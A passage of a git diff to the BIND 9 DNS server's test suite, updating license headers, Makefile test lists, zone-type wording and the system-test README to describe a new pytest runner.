-		file "bar" size 100000 versions unlimited;
-		severity debug; // use default debug level
-	};
-
-	/*
-	 * If you don't want to see "zone XXXX loaded" messages but do
-	 * want to see any problems, you could do the following.
-	 */
-	channel no_info_messages {
-		syslog;
-		severity notice;
-	};
-
-	category load { no_info_messages; };
-
-	/*
-	 * You can also define category "default"; it gets used when no
-	 * "category" statement has been given for a category.
-	 */
-	category default {
-		default_syslog;
-		moderate_debug;
-	};
-
-	/*
-	 * If you don't define category default yourself, the default
-	 * default category will be used.  It is
-	 *
-	 * 	category default { default_syslog; default_debug; };
-	 */
-
-	/*
-	 * If you don't define category panic yourself, the default
-	 * panic category will be used.  It is
-	 *
-	 * 	category panic { default_syslog; default_stderr; };
-	 */
-
-	/*
-	 * Two categories, 'packet' and 'eventlib', are special.  Only one
-	 * channel may be assigned to each of them, and it must be a
-	 * file channel.  If you don't define them  yourself, they default to
-	 *
-	 *	category eventlib { default_debug; };
-	 *
-	 *	category packet { default_debug; };
-	 */
-};
-
-#include "filename";			// can't do within a statement
-
diff --git a/bin/tests/prepare-softhsm2.sh b/bin/tests/prepare-softhsm2.sh
deleted file mode 100755
index acd70bfe90..0000000000
--- a/bin/tests/prepare-softhsm2.sh
+++ /dev/null
@@ -1,20 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-if [ -n "${SOFTHSM2_CONF}" ] && command -v softhsm2-util >/dev/null; then
-    SOFTHSM2_DIR=$(dirname "$SOFTHSM2_CONF")
-    mkdir -p "${SOFTHSM2_DIR}/tokens"
-    echo "directories.tokendir = ${SOFTHSM2_DIR}/tokens" > "${SOFTHSM2_CONF}"
-    echo "objectstore.backend = file" >> "${SOFTHSM2_CONF}"
-    echo "log.level = DEBUG" >> "${SOFTHSM2_CONF}"
-    softhsm2-util --init-token --free --pin 1234 --so-pin 1234 --label "softhsm2" | awk '/^The token has been initialized and is reassigned to slot/ { print $NF }'
-fi
-exit 0
diff --git a/bin/tests/startperf/README b/bin/tests/startperf/README
index 0b8185b9b2..2f0afa7198 100644
--- a/bin/tests/startperf/README
+++ b/bin/tests/startperf/README
@@ -1,3 +1,16 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
 These scripts generate a named.conf file with an arbitrary number of
 small zones, for testing startup performance.
 
diff --git a/bin/tests/startperf/clean.sh b/bin/tests/startperf/clean.sh
index be41ffc755..5f7e51a57a 100644
--- a/bin/tests/startperf/clean.sh
+++ b/bin/tests/startperf/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/startperf/makenames.pl b/bin/tests/startperf/makenames.pl
index 47f9b998f9..ba2c5a82c8 100644
--- a/bin/tests/startperf/makenames.pl
+++ b/bin/tests/startperf/makenames.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -17,7 +19,7 @@
 
 my @chars = split("", "abcdefghijklmnopqrstuvwxyz123456789");
 
-srand; 
+srand;
 for (my $i = 0; $i < @ARGV[0]; $i++) {
         my $name = "";
         for (my $j = 0; $j < $len; $j++) {
diff --git a/bin/tests/startperf/mkzonefile.pl b/bin/tests/startperf/mkzonefile.pl
index ba4d220fe6..f8965a0433 100644
--- a/bin/tests/startperf/mkzonefile.pl
+++ b/bin/tests/startperf/mkzonefile.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -29,7 +31,7 @@
 			NS	ns
 ns			A	10.53.0.3\n";
 
-srand; 
+srand;
 for (my $i = 0; $i < $nrecords; $i++) {
         my $name = "";
         for (my $j = 0; $j < 8; $j++) {
diff --git a/bin/tests/startperf/setup.sh b/bin/tests/startperf/setup.sh
index ff93d7942d..66821386d7 100644
--- a/bin/tests/startperf/setup.sh
+++ b/bin/tests/startperf/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -71,10 +73,10 @@ EOF
 
 $PERL makenames.pl $nzones | while read zonename; do
     if [ $single_file ]; then
-        echo "zone $zonename { type master; file \"smallzone.db\"; };"
+        echo "zone $zonename { type primary; file \"smallzone.db\"; };"
     else
         [ -d zones ] || mkdir zones
         $PERL mkzonefile.pl $zonename $nrecords > zones/$zonename.db
-        echo "zone $zonename { type master; file \"zones/$zonename.db\"; };"
+        echo "zone $zonename { type primary; file \"zones/$zonename.db\"; };"
     fi
 done
diff --git a/bin/tests/startperf/smallzone.db b/bin/tests/startperf/smallzone.db
index 20a3b9d4c8..3a26acd578 100644
--- a/bin/tests/startperf/smallzone.db
+++ b/bin/tests/startperf/smallzone.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/.gitignore b/bin/tests/system/.gitignore
index 525e889ba6..e2daf1cef5 100644
--- a/bin/tests/system/.gitignore
+++ b/bin/tests/system/.gitignore
@@ -1,4 +1,6 @@
 .cache
+.hypothesis
+.mypy_cache
 __pycache__
 dig.out*
 rndc.out*
@@ -7,16 +9,20 @@ named.lock
 named.pid
 named.run
 /feature-test
-/test.output.*
 /makejournal
-/systests.output
 /random.data
-parallel.mk
 /*.log
 /*.trs
 /resolve
-/run.sh
+/legacy.run.sh
 /run.log
 /start.sh
 /stop.sh
 /ifconfig.sh
+
+# Ignore file names with underscore in their name except python or shell files.
+# This is done to ignore the temporary directories and symlinks created by the
+# pytest runner, which contain underscore in their file names.
+/*_*
+!/*_*.py
+!/*_*.sh
diff --git a/bin/tests/system/Makefile.am b/bin/tests/system/Makefile.am
index 4ef54205a1..44282372de 100644
--- a/bin/tests/system/Makefile.am
+++ b/bin/tests/system/Makefile.am
@@ -11,27 +11,36 @@ dist-hook:
 
 SUBDIRS = dyndb/driver dlzexternal/driver hooks/driver
 
+if DNSRPS
+SUBDIRS += rpz/testlib
+endif
+
 AM_CPPFLAGS +=			\
-	$(LIBISC_CFLAGS)
+	$(LIBISC_CFLAGS) 	\
+	$(LIBDNS_CFLAGS)
 
-LDADD =				\
-	$(LIBISC_LIBS)
+LDADD +=			\
+	$(LIBISC_LIBS)		\
+	$(LIBDNS_LIBS)
 
 if HAVE_PERL
 
-check_PROGRAMS =		\
+noinst_PROGRAMS =		\
 	feature-test		\
 	makejournal		\
 	pipelined/pipequeries	\
-	resolve			\
 	rndc/gencheck		\
-	rpz/dnsrps		\
-	tkey/keycreate		\
-	tkey/keydelete
+	rpz/dnsrps
 
 feature_test_CPPFLAGS =		\
 	$(AM_CPPFLAGS)		\
-	$(LIBDNS_CFLAGS)
+	$(LIBDNS_CFLAGS)	\
+	$(OPENSSL_CFLAGS)
+
+feature_test_LDADD =		\
+	$(LDADD)		\
+	$(LIBDNS_LIBS)		\
+	$(OPENSSL_LIBS)
 
 makejournal_CPPFLAGS =		\
 	$(AM_CPPFLAGS)		\
@@ -49,29 +58,15 @@ pipelined_pipequeries_LDADD =	\
 	$(LDADD)		\
 	$(LIBDNS_LIBS)
 
-resolve_CPPFLAGS =		\
+rpz_dnsrps_CPPFLAGS =		\
 	$(AM_CPPFLAGS)		\
-	$(LIBISC_CFLAGS)	\
 	$(LIBDNS_CFLAGS)	\
-	$(LIBIRS_CFLAGS)
-
-resolve_LDADD = $(LIBISC_LIBS) $(LIBIRS_LIBS) $(LIBDNS_LIBS)
-
-tkey_keycreate_CPPFLAGS =	\
-	$(AM_CPPFLAGS)		\
-	$(LIBDNS_CFLAGS)
-
-tkey_keycreate_LDADD =		\
-	$(LDADD)		\
-	$(LIBDNS_LIBS)
-
-tkey_keydelete_CPPFLAGS =	\
-	$(AM_CPPFLAGS)		\
-	$(LIBDNS_CFLAGS)
+	-DLIBRPZ_LIB_OPEN=\"$(abs_builddir)/rpz/testlib/.libs/libdummyrpz.so\"
 
-tkey_keydelete_LDADD =		\
+rpz_dnsrps_LDADD =		\
 	$(LDADD)		\
-	$(LIBDNS_LIBS)
+	$(LIBDNS_LIBS)		\
+	$(DLOPEN_LIBS)
 
 TESTS =
 
@@ -84,6 +79,11 @@ TESTS +=		\
 	rpzrecurse
 endif HAVE_PERLMOD_NET_DNS
 
+if HAVE_LIBNGHTTP2
+TESTS +=		\
+	doth
+endif
+
 TESTS +=			\
 	acl			\
 	additional		\
@@ -99,19 +99,17 @@ TESTS +=			\
 	checkconf		\
 	checknames		\
 	checkzone		\
-	cpu			\
 	database		\
-	dlz			\
+	dialup			\
 	dlzexternal		\
 	dns64			\
-	doth			\
-	dscp			\
 	dsdigest		\
 	dyndb			\
 	ecdsa			\
 	eddsa			\
 	ednscompliance		\
 	emptyzones		\
+	enginepkcs11		\
 	filter-aaaa		\
 	formerr			\
 	geoip2			\
@@ -121,8 +119,10 @@ TESTS +=			\
 	inline			\
 	integrity		\
 	hooks			\
+	host			\
 	journal			\
 	keepalive		\
+	keyfromlabel		\
 	legacy			\
 	limits			\
 	logfileconfig		\
@@ -153,8 +153,8 @@ TESTS +=			\
 	staticstub		\
 	stub			\
 	synthfromdnssec		\
-	tkey			\
 	tools			\
+	transport-acl		\
 	tsig			\
 	tsiggss			\
 	ttl			\
@@ -165,12 +165,6 @@ TESTS +=			\
 	xferquota		\
 	zonechecks
 
-# The "stress" test is not run by default since it creates enough
-# load on the machine to make it unusable to other users.
-# The "dialup", "delzone", and "dupsigs" tests are also not run by
-# default because they take a very long time to complete.
-# TESTS += delzone dialup dupsigs stress
-
 if HAVE_LMDB
 TESTS += nzd2nzf
 endif # HAVE_LMDB
@@ -178,13 +172,12 @@ endif # HAVE_LMDB
 if HAVE_PERLMOD_NET_DNS
 
 TESTS +=		\
-	digdelv		\
 	fetchlimit	\
-	forward		\
 	ixfr		\
 	nsupdate	\
 	resolver	\
 	statistics	\
+	stress		\
 	upforwd		\
 	zero
 
@@ -207,30 +200,24 @@ endif HAVE_PERLMOD_NET_DNS_NAMESERVER
 endif HAVE_PERLMOD_NET_DNS
 
 if HAVE_PYTHON
-TESTS += kasp keymgr2kasp tcp pipelined
+TESTS += kasp multisigner tcp pipelined
 
-if HAVE_PYMOD_DNS
-TESTS += qmin cookie timeouts
+if HAVE_PYTEST
+TESTS += checkds dispatch rpzextra shutdown timeouts
+endif
 
+if HAVE_PYMOD_DNS
+TESTS += qmin cookie
 if HAVE_PERLMOD_NET_DNS
-TESTS += dnssec
+TESTS += digdelv dnssec forward
 if HAVE_PERLMOD_NET_DNS_NAMESERVER
 TESTS += chain
 endif HAVE_PERLMOD_NET_DNS_NAMESERVER
 endif HAVE_PERLMOD_NET_DNS
-
-if HAVE_PYTEST
-TESTS += rpzextra shutdown
-endif
-
 endif HAVE_PYMOD_DNS
 
 endif HAVE_PYTHON
 
-if HAVE_PKCS11
-TESTS += pkcs11
-endif
-
 else !HAVE_PERL
 check:
 	echo Perl is not available, no tests were ran
@@ -245,9 +232,12 @@ LOG_DRIVER_V_1 = --verbose yes
 LOG_DRIVER = $(srcdir)/custom-test-driver
 AM_LOG_DRIVER_FLAGS = $(LOG_DRIVER_V)
 
-LOG_COMPILER = $(builddir)/run.sh
+LOG_COMPILER = $(builddir)/legacy.run.sh
 AM_LOG_FLAGS = -r
 
-$(TESTS): run.sh
+$(TESTS): legacy.run.sh
 
 test-local: check
+
+clean-local::
+	-find $(builddir) -maxdepth 1 -type d -name "*_*" | xargs rm -rf
diff --git a/bin/tests/system/README b/bin/tests/system/README
index c0970ebd32..6c5bae15c1 100644
--- a/bin/tests/system/README
+++ b/bin/tests/system/README
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 Introduction
 ===
@@ -60,18 +67,58 @@ then run
 ... as root.
 
 
-Running the System Tests
+Running the System Tests with pytest
 ===
 
+The pytest system test runner is currently in development, but it is the
+recommended way to run tests. Please report issues to QA.
+
+Running an Individual Test
+---
+
+pytest -k <test-name>
+
+Note that in comparison to the legacy test runner, some additional tests might
+be picked up when specifying just the system test directory name. To check
+which tests will be executed, you can use the `--collect-only` option. You
+might also be able to find a more specific test name to provide to ensure only
+your desired test is executed. See help for `-k` option in `pytest --help` for
+more info.
+
+It is also possible to run a single individual pytest test case. For example,
+you can use the name test_sslyze_dot to execute just the test_sslyze_dot()
+function from doth/tests_sslyze.py. The entire needed setup and teardown will
+be handled by the framework.
+
+Running All the System Tests
+---
+
+Issuing plain `pytest` command without any argument will execute all tests
+sequenatially. To execute them in parallel, ensure you have pytest-xdist
+installed and run:
+
+pytest -n <number-of-workers>
+
+
+Running the System Tests Using the Legacy Runner
+===
+
+!!! WARNING !!!
+---
+The legacy way to run system tests is currently being reworked into a pytest
+system test runner described in the previous section. The contents of this
+section might be out of date and no longer applicable. Please try and use the
+pytest runner if possible and report issues and missing features.
+
 Running an Individual Test
 ---
 The tests can be run individually using the following command:
 
-    sh run.sh [flags] <test-name> [<test-arguments>]
+    sh legacy.run.sh [flags] <test-name> [<test-arguments>]
 
 e.g.
 
-    sh run.sh [flags] notify
+    sh legacy.run.sh [flags] notify
 
 Optional flags are:
 
@@ -110,13 +157,7 @@ Running All The System Tests
 ---
 To run all the system tests, enter the command:
 
-    sh runall.sh [-c] [-n] [numproc]
-
-The optional flag "-c" forces colored output (by default system test output is
-not printed in color due to run.sh being piped through "tee").
-
-The optional flag "-n" has the same effect as it does for "run.sh" - it causes
-the retention of all output files from all tests.
+    make [-j numproc] test
 
 The optional "numproc" argument specifies the maximum number of tests that can
 run in parallel.  The default is 1, which means that all of the tests run
@@ -125,16 +166,7 @@ new tests being started as tests finish.  Each test will get a unique set of
 ports, so there is no danger of tests interfering with one another.  Parallel
 running will reduce the total time taken to run the BIND system tests, but will
 mean that the output from all the tests sent to the screen will be mixed up
-with one another.  However, the systests.output file produced at the end of the
-run (in the bin/tests/system directory) will contain the output from each test
-in sequential order.
-
-Note that it is not possible to pass arguments to tests though the "runall.sh"
-script.
-
-A run of all the system tests can also be initiated via make:
-
-    make [-j numproc] test
+with one another.
 
 In this case, retention of the output files after a test completes successfully
 is specified by setting the environment variable SYSTEMTEST_NO_CLEAN to 1 prior
@@ -146,38 +178,6 @@ while setting environment variable SYSTEMTEST_FORCE_COLOR to 1 forces system
 test output to be printed in color.
 
 
-Running Multiple System Test Suites Simultaneously
----
-In some cases it may be desirable to have multiple instances of the system test
-suite running simultaneously (e.g. from different terminal windows).  To do
-this:
-
-1. Each installation must have its own directory tree.  The system tests create
-files in the test directories, so separate directory trees are required to
-avoid interference between the same test running in the different
-installations.
-
-2. For one of the test suites, the starting port number must be specified by
-setting the environment variable STARTPORT before starting the test suite.
-Each test suite comprises about 100 tests, each being allocated a set of 100
-ports.  The port ranges for each test are allocated sequentially, so each test
-suite requires about 10,000 ports to itself.  By default, the port allocation
-starts at 5,000.  So the following set of commands:
-
-    Terminal Window 1:
-        cd <installation-1>/bin/tests/system
-        sh runall.sh 4
-
-    Terminal Window 2:
-        cd <installation-2>/bin/tests/system
-        STARTPORT=20000 sh runall.sh 4
-
-... will start the test suite for installation-1 using the default base port
-of 5,000, so the test suite will use ports 5,000 through 15,000 (or there
-abouts).  The use of "STARTPORT=20000" to prefix the run of the test suite for
-installation-2 will mean the test suite uses ports 20,000 through 30,000 or so.
-
-
 Format of Test Output
 ---
 All output from the system tests is in the form of lines with the following
@@ -187,7 +187,7 @@ structure:
 
 e.g.
 
-    I:catz:checking that dom1.example is not served by master (1)
+    I:catz:checking that dom1.example is not served by primary (1)
 
 The meanings of the fields are as follows:
 
@@ -236,12 +236,12 @@ Re-Running the Tests
 ---
 If there is a requirement to re-run a test (or the entire test suite), the
 files produced by the tests should be deleted first.  Normally, these files are
-deleted if the test succeeds but are retained on error.  The run.sh script
-automatically calls a given test's clean.sh script before invoking its setup.sh
-script.
+deleted if the test succeeds but are retained on error.  The legacy.run.sh
+script automatically calls a given test's clean.sh script before invoking its
+setup.sh script.
 
-Deletion of the files produced by the set of tests (e.g. after the execution
-of "runall.sh") can be carried out using the command:
+Deletion of the files produced by the set of tests (e.g. after the execution of
+make) can be carried out using the command:
 
     sh cleanall.sh
 
@@ -278,8 +278,8 @@ tests.sh    Runs the actual tests.  This file is mandatory.
 
 clean.sh    Run at the end to clean up temporary files, but only if the test
             was completed successfully and its running was not inhibited by the
-	    "-n" switch being passed to "run.sh".  Otherwise the temporary
-	    files are left in place for inspection.
+            "-n" switch being passed to "legacy.run.sh".  Otherwise the
+            temporary files are left in place for inspection.
 
 ns<N>       These subdirectories contain test name servers that can be queried
 	    or can interact with each other.  The value of N indicates the
@@ -298,8 +298,8 @@ ans<N>      Like ns[X], but these are simple mock name servers implemented in
 Port Usage
 ---
 In order for the tests to run in parallel, each test requires a unique set of
-ports.  These are specified by the "-p" option passed to "run.sh", which sets
-environment variables that the scripts listed above can reference.
+ports.  These are specified by the "-p" option passed to "legacy.run.sh", which
+sets environment variables that the scripts listed above can reference.
 
 The convention used in the system tests is that the number passed is the start
 of a range of 100 ports.  The test is free to use the ports as required,
@@ -330,7 +330,7 @@ port assignments would be:
     HIGHPORT = 5299
 
 When running tests in parallel (i.e. giving a value of "numproc" greater than 1
-in the "make" or "runall.sh" commands listed above), it is guaranteed that each
+in the "make" command listed above), it is guaranteed that each
 test will get a set of unique port numbers.
 
 
@@ -351,10 +351,10 @@ General
 directory.
 
 2. Arguments can be only passed to the script if the test is being run as a
-one-off with "run.sh".  In this case, everything on the command line after the
-name of the test is passed to each script.  For example, the command:
+one-off with "legacy.run.sh".  In this case, everything on the command line
+after the name of the test is passed to each script.  For example, the command:
 
-    sh run.sh -p 12300 mytest -D xyz
+    sh legacy.run.sh -p 12300 mytest -D xyz
 
 ... will run "mytest" with a port range of 12300 to 12399.  Each of the
 framework scripts provided by the test will be invoked using the remaining
@@ -366,7 +366,7 @@ arguments, e.g.:
    (cd mytest ; sh clean.sh -D xyz)
 
 No arguments will be passed to the test scripts if the test is run as part of
-a run of the full test suite (e.g. the tests are started with "runall.sh").
+a run of the full test suite (e.g. the tests are started with make).
 
 3.  Each script should start with the following lines:
 
@@ -441,14 +441,14 @@ This is the main test file and the contents depend on the test.  The contents
 are completely up to the developer, although most test scripts have a form
 similar to the following for each sub-test:
 
-    1. n=`expr $n + 1`
+    1. n=$((n + 1))
     2. echo_i "prime cache nodata.example ($n)"
     3. ret=0
     4. $DIG -p ${PORT} @10.53.0.1 nodata.example TXT > dig.out.test$n
     5. grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
     6. grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
     7. if [ $ret != 0 ]; then echo_i "failed"; fi
-    8. status=`expr $status + $ret`
+    8. status=$((status + ret))
 
 1.  Increment the test number "n" (initialized to zero at the start of the
     script).
@@ -525,8 +525,8 @@ Ideally, the directory numbers should start at 1 and work upwards.
 When running a test, the servers are started using "start.sh" (which is nothing
 more than a wrapper for start.pl).  The options for "start.pl" are documented
 in the header for that file, so will not be repeated here.  In summary, when
-invoked by "run.sh", start.pl looks for directories named "nsN" or "ansN" in
-the test directory and starts the servers it finds there.
+invoked by "legacy.run.sh", start.pl looks for directories named "nsN" or
+"ansN" in the test directory and starts the servers it finds there.
 
 
 "named" Command-Line Options
@@ -546,7 +546,7 @@ By default, start.pl starts a "named" server with the following options:
     -g              Runs the server in the foreground and logs everything to
                     stderr.
 
-    -m record,size,mctx
+    -m record
                     Turns on these memory usage debugging flags.
 
     -U 4            Uses four listeners.
@@ -623,8 +623,8 @@ the options available are listed in the file's header and will not be repeated
 here.
 
 In summary though, the nameservers for a given test, if left running by
-specifying the "-k" flag to "run.sh" when the test is started, can be stopped
-by the command:
+specifying the "-k" flag to "legacy.run.sh" when the test is started, can be
+stopped by the command:
 
     sh stop.sh <test-name> [server]
 
@@ -636,13 +636,10 @@ Adding a Test to the System Test Suite
 ---
 Once a test has been created, the following files should be edited:
 
-* conf.sh.in  The name of the test should be added to the PARALLELDIRS or
-SEQUENTIALDIRS variables as appropriate.  The former is used for tests that
-can run in parallel with other tests, the latter for tests that are unable to
-do so.
+* conf.sh.common The name of the test should be added to the PARALLEL_COMMON
+variable.
 
-* Makefile.in The name of the test should be added to one of the the PARALLEL
-or SEQUENTIAL variables.
+* Makefile.am The name of the test should be added to the TESTS variable.
 
 (It is likely that a future iteration of the system test suite will remove the
 need to edit multiple files to add a test.)
@@ -656,30 +653,109 @@ completed.  To enable this, set the USE_VALGRIND environment variable to
 "helgrind" to run the Helgrind tool, or any other value to run the Memcheck
 tool.  To use "helgrind" effectively, build BIND with --disable-atomic.
 
+Developer Notes for pytest runner
+===
+
+Test discovery and collection
+---
+There are two distinct types of system tests. The first is a shell script
+tests.sh containing individual test cases executed sequentially and the
+success/failure is determined by return code. The second type is a regular
+pytest file which contains test functions.
+
+Dealing with the regular pytest files doesn't require any special consideration
+as long as the naming conventions are met. Discovering the tests.sh tests is
+more complicated.
+
+The chosen solution is to add a bit of glue for each system test. For every
+tests.sh, there is an accompanying tests_sh_*.py file that contains a test
+function which utilizes a custom run_tests_sh fixture to call the tests.sh
+script. Other solutions were tried and eventually rejected. While this
+introduces a bit of extra glue, it is the most portable, compatible and least
+complex solution.
+
+Module scope
+---
+Pytest fixtures can have a scope. The "module" scope is the most important for
+our use. A module is a python file which contains test functions. Every system
+test directory may contain multiple modules (i.e. tests_*.py files)!
+
+The server setup/teardown is done for a module. Bundling test cases together
+inside a single module may save some resources. However, test cases inside a
+single module can't be executed in parallel.
+
+It is possible to execute different modules defined within a single system test
+directory in parallel. This is possible thanks to executing the tests inside a
+temporary directory and proper port assignment to ensure there won't be any
+conflicts.
+
+Test logging
+---
+Each module has a separate log which will be saved as pytest.log.txt in the
+temporary directory in which the test is executed. This log includes messages
+for this module setup/teardown as well as any logging from the tests using the
+`logger` fixture. Logging level DEBUG and above will be present in this log.
+
+In general, any log messages using INFO or above will also be printed out
+during pytest execution. In CI, the pytest output is also saved to
+pytest.out.txt in the bin/tests/system directory.
+
+Parallel execution
+---
+As mentioned in the previous section, test cases inside a single module can't
+be executed in parallel. To put it differently, all tests cases inside the same
+module must be performed by the same worker/thread. Otherwise, server
+setup/teardown fixtures won't be shared and runtime issues due to port
+collisions are likely to occur.
+
+Pytest-xdist is used for executing pytest test cases in parallel using the `-n
+N_WORKERS` option. By default, xdist will distribute any test case to any
+worker, which would lead to the issue described above. Therefore, conftest.py
+enforces equivalent of `--dist loadscope` option which ensures that test cases
+within the same (module) scope will be handled by the same worker. Parallelism
+is automatically disabled when xdist.scheduler.loadscope library is not
+available.
+
+$ pytest -n auto
+
+Test selection
+---
+It is possible to run just a single pytest test case from any module. Use
+standard pytest facility to select the desired test case(s), i.e. pass a
+sufficiently unique identifier for `-k` parameter. You can also check which
+tests will be executed by using the `--collect-only` flag to debug your `-k`
+expression.
+
+Compatibility with older pytest version
+---
+Keep in mind that the pytest runner must work with ancient versions of pytest.
+When implementing new features, it is advisable to check feature support in
+pytest and pytest-xdist in older distributions first.
 
-Maintenance Notes
+As a general rule, any changes to the pytest runner need to keep working on all
+platforms in CI that use the pytest runner. As of 2023-01-13, the oldest
+supported version is whatever is available in EL8.
+
+We may need to add more compat code eventually to handle breaking upstream
+changes. For example, using request.fspath attribute is already deprecatred in
+latest pytest.
+
+Maintenance Notes for legacy runner
 ===
 This section is aimed at developers maintaining BIND's system test framework.
 
 Notes on Parallel Execution
 ---
-Although execution of an individual test is controlled by "run.sh", which
-executes the above shell scripts (and starts the relevant servers) for each
-test, the running of all tests in the test suite is controlled by the Makefile.
-("runall.sh" does little more than invoke "make" on the Makefile.)
+Although execution of an individual test is controlled by "legacy.run.sh",
+which executes the above shell scripts (and starts the relevant servers) for
+each test, the running of all tests in the test suite is controlled by the
+Makefile.
 
 All system tests are capable of being run in parallel.  For this to work, each
 test needs to use a unique set of ports.  To avoid the need to define which
 tests use which ports (and so risk port clashes as further tests are added),
-the ports are assigned when the tests are run.  This is achieved by having the
-"test" target in the Makefile depend on "parallel.mk".  That file is created
-when "make check" is run, and contains a target for each test of the form:
-
-    <test-name>:
-        @$(SHELL) run.sh -p <baseport> <test-name>
-
-The <baseport> is unique and the values of <baseport> for each test are
-separated by at least 100 ports.
+the ports are determined by "get_ports.sh", a port broker script which keeps
+track of ports given to each individual system test.
 
 
 Cleaning Up From Tests
@@ -692,19 +768,11 @@ stored in the test directory.
 2. Files produced by named which may not be cleaned up if named exits
 abnormally, e.g. core files, PID files etc., are stored in the test directory.
 
-3. A file "test.output.<test-name>" containing the text written to stdout by the
-test is written to bin/tests/system/.  This file is only produced when the test
-is run as part of the entire test suite (e.g. via "runall.sh").
-
 If the test fails, all these files are retained.  But if the test succeeds,
 they are cleaned up at different times:
 
 1. Files generated by the test itself are cleaned up by the test's own
-"clean.sh", which is called from "run.sh".
+"clean.sh", which is called from "legacy.run.sh".
 
 2. Files that may not be cleaned up if named exits abnormally can be removed
 using the "cleanall.sh" script.
-
-3. "test.output.*" files are deleted when the test suite ends.  At this point,
-the file "testsummary.sh" is called which concatenates all the "test.output.*"
-files into a single "systests.output" file before deleting them.
diff --git a/bin/tests/system/acl/clean.sh b/bin/tests/system/acl/clean.sh
index a80de95901..c8d26cc54f 100644
--- a/bin/tests/system/acl/clean.sh
+++ b/bin/tests/system/acl/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/acl/ns2/named1.conf.in b/bin/tests/system/acl/ns2/named1.conf.in
index 60f22e1596..cbf461bcf0 100644
--- a/bin/tests/system/acl/ns2/named1.conf.in
+++ b/bin/tests/system/acl/ns2/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -30,15 +32,16 @@ options {
 	notify yes;
 	ixfr-from-differences yes;
 	check-integrity no;
+	dnssec-validation no;
 };
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
 key two {
-	algorithm hmac-md5;
